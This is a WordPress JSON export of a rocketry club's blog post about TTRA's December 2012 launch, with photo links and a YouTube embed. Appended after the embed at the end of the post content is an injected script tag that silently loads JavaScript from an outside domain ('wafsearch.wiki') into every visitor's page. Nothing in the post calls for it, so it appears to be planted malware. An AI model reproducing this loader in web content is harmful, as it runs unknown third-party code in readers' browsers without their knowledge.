{"id":183,"date":"2012-12-17T15:05:09","date_gmt":"2012-12-17T20:05:09","guid":{"rendered":"http:\/\/www.orlandorocketry.com\/?p=183"},"modified":"2025-11-21T15:11:07","modified_gmt":"2025-11-21T20:11:07","slug":"ttras-december-2012-launch","status":"publish","type":"post","link":"https:\/\/orlandorocketry.com\/?p=183","title":{"rendered":"TTRA&#8217;s December, 2012, Launch"},"content":{"rendered":"<p>The fog evaporated to reveal overcast skies as we arrived at the Varn farm for TTRA&#8217;s December launch.<\/p>\n<p style=\"text-align: left;\"><a href=\"http:\/\/www.rocketreviews.com\/201212151130-003jpg.html\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http:\/\/www.rocketreviews.com\/file-105857\/2012_12_15_11_30-003.jpg\" width=\"482\" height=\"678\" \/><\/a>But, it didn&#8217;t take long for the sky to clear. Maybe it&#8217;s because we started poking it with rockets!<\/p>\n<p style=\"text-align: left;\"><a href=\"http:\/\/www.rocketreviews.com\/201212151136-001jpg.html\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http:\/\/www.rocketreviews.com\/image-201212151136-001jpg-600-600-123712113416821.jpg\" width=\"400\" height=\"600\" \/><\/a>Astron Mike launched a number of his amazing gliders.<\/p>\n<p style=\"text-align: left;\"><a href=\"http:\/\/www.rocketreviews.com\/201212151231-003jpg.html\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http:\/\/www.rocketreviews.com\/image-201212151231-003jpg-600-600-122412125716270.jpg\" width=\"400\" height=\"600\" \/><\/a>Gary Dahlke flew one of his large, two-stage rockets.<\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/www.rocketreviews.com\/201212151241-001jpg.html\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" alt=\"\" src=\"http:\/\/www.rocketreviews.com\/image-201212151241-001jpg-600-600-122512112616777.jpg\" width=\"400\" height=\"600\" \/><\/a><\/p>\n<p style=\"text-align: left;\">We saw a couple of catos including Andy&#8217;s Tomahawk on an Estes E9.<\/p>\n<p style=\"text-align: left;\"><a href=\"http:\/\/www.rocketreviews.com\/201212151430-002jpg.html\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http:\/\/www.rocketreviews.com\/image-201212151430-002jpg-600-600-122412121216589.jpg\" width=\"400\" height=\"600\" \/><\/a>Lift-off for this Tiny Pterodactyl on an Aerotech K500 looked good.<\/p>\n<p style=\"text-align: left;\"><a href=\"http:\/\/www.rocketreviews.com\/201212151430-008jpg.html\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http:\/\/www.rocketreviews.com\/image-201212151430-008jpg-600-600-122312123216444.jpg\" width=\"413\" height=\"600\" \/><\/a>But, things went bad soon after.<\/p>\n<p style=\"text-align: left;\"><a href=\"http:\/\/www.rocketreviews.com\/201212151543-002jpg.html\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" alt=\"\" src=\"http:\/\/www.rocketreviews.com\/image-201212151543-002jpg-600-600-124912112516986.jpg\" width=\"600\" height=\"414\" \/><\/a><\/p>\n<p style=\"text-align: left;\">We stayed later than we had planned because there was always just one more launch we\u00a0 wanted to see.<\/p>\n<p style=\"text-align: left;\">You can view many more of my photographs from the launch at <a href=\"http:\/\/www.rocketreviews.com\/december-2012-launch-6696.html\">http:\/\/www.rocketreviews.com\/december-2012-launch-6696.html<\/a>.<\/p>\n<p style=\"text-align: left;\">\n<p><iframe loading=\"lazy\" align=\"center\" width=\"420\" height=\"315\" src=\"http:\/\/www.youtube.com\/embed\/suX_jHwF61g\" frameborder=\"0\" allowfullscreen><\/iframe><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The fog evaporated to reveal overcast skies as we arrived at the Varn farm for TTRA&#8217;s December launch. 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